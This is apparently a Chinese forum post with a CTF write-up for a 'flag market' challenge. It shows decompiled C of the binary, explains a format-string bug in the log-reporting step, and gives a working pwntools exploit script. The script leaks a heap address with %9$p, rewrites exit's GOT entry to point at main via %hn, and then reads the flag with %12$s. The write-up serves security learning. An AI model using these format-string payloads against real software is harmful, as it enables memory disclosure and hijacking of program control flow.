本帖最后由 StarrySky 于 2025-10-20 19:50 编辑
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int idx; // [rsp+Ch] [rbp-84h]
int fd; // [rsp+14h] [rbp-7Ch]
FILE *stream; // [rsp+18h] [rbp-78h]
char filename[9]; // [rsp+27h] [rbp-69h] BYREF
char s[16]; // [rsp+30h] [rbp-60h] BYREF
char flag[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v10; // [rsp+88h] [rbp-8h]
?
v10 = __readfsqword(0x28u);
sub_401336();
strcpy(filename, "/flag");
stream = fopen(filename, "r");
dword_40430C = 1;
while ( 1 )
{
while ( 1 )
{
puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
memset(s, 0, sizeof(s));
read(0, s, 0x10u);
if ( (unsigned __int8)atoi(s) != 1 )
exit(0);
puts("how much you want to pay?");
memset(s, 0, sizeof(s));
read(0, s, 0x10u);
if ( (unsigned __int8)atoi(s) == 0xFF )
break;
printf("You are so parsimonious!!!"); // 格式化字符串漏洞
if ( dword_40430C )
{
fclose(stream);
dword_40430C = 0;
}
}
puts(aThankYouForPay); // "Thank you for paying,let me give you flag: "
if ( !dword_40430C || !fgets(flag, 64, stream) )
break;
for ( idx = 0; ; ++idx )
{
if ( idx > 64 )
{
puts("\nThank you for your patronage!");
return 0;
}
if ( flag[idx] == '{' )
break;
putchar(flag[idx]);
sleep(1u);
}
memset(flag, 0, 0x40u);
puts(a1m31mError0mSo); // "\n\x1B[1m\x1B[31m==========error!!!========== \x1B[0m \nSorry, but maybe something wrong... \nyou can report it in user.log"
puts("opened user.log, please report:");
memset(oflag, 0, 0x100u); // "everything is ok~"
__isoc99_scanf("%s", oflag); // "everything is ok~"
getchar();
fd = open("user.log", (int)oflag); // "everything is ok~"
write(fd, oflag, 0x100u); // "everything is ok~"
puts(aOkNowYouCanExi); // "OK,now you can exit or try again."
}
puts("something is wrong");
return 0;
}注意这里,存在一个格式化字符串漏洞 利用setvbuf中的stderr来输出环境变量中的flag
调试到这里可以看到本地的flag,继续往下调 这里泄露出heap的地址,但是要加一个偏移,这个偏移就是刚才fgets写入的heap地址与这次heap地址的差值 搜flag找到偏移
%9$p拿stream流的heap地址,%c%12$hn为输入点的偏移,为了修改下一次输入点的值,这里是吧exit的got改为了main函数直接修改低字节 劫持exit的got正好0x1393+8字节为main函数的地址 这里输入2来触发刚才的漏洞
p.sendlineafter(b'?', str(255))
p.sendlineafter(b':', b'a'*0x100 + b'%12$s')
p.sendlineafter(b'exit', b'1')
p.sendlineafter(b'want to pay?', p64(heap_addr))这里输入-1或者255都行,只是为了进入打印flag的循环(输入-1可行是由于atoi的转换按有符号十进制数转),判断ff,进入循环,打印flag,继续走到log那里,继续覆盖全局变量进行格式化字符串漏洞。保存一个%12$s,然后继续输入刚才算好的偏移 from pwn import *
context.arch='amd64'
context.log_level = 'debug'
p = process('./fmt')
#p =remote('8.147.135.195', 30722)
p.recvuntil("2.exit\n")
p.sendline("1")
sleep(0.2)
p.sendline("255")
#gdb.attach(p , 'b *0x401603')
payload = b'a'*0x100 + b'%9$p' + b'%' + str(0x1393).encode() + b'c%12$hn'
p.sendlineafter(b':', payload)
p.sendlineafter(b'exit', str(1))
p.sendlineafter(b'how much you want to pay?\n', p64(0x0404090))
heap_addr = int(p.recv(10), 16) + 0x1e0
log.success(f"heap-->{hex(heap_addr)}")
p.sendlineafter(b'exit', b'2')
p.sendlineafter("2.exit\n",b"1")
p.sendlineafter(b'?', str(255))
p.sendlineafter(b':', b'a'*0x100 + b'%12$s')
p.sendlineafter(b'exit', b'1')
p.sendlineafter(b'want to pay?', p64(heap_addr))
p.interactive()
|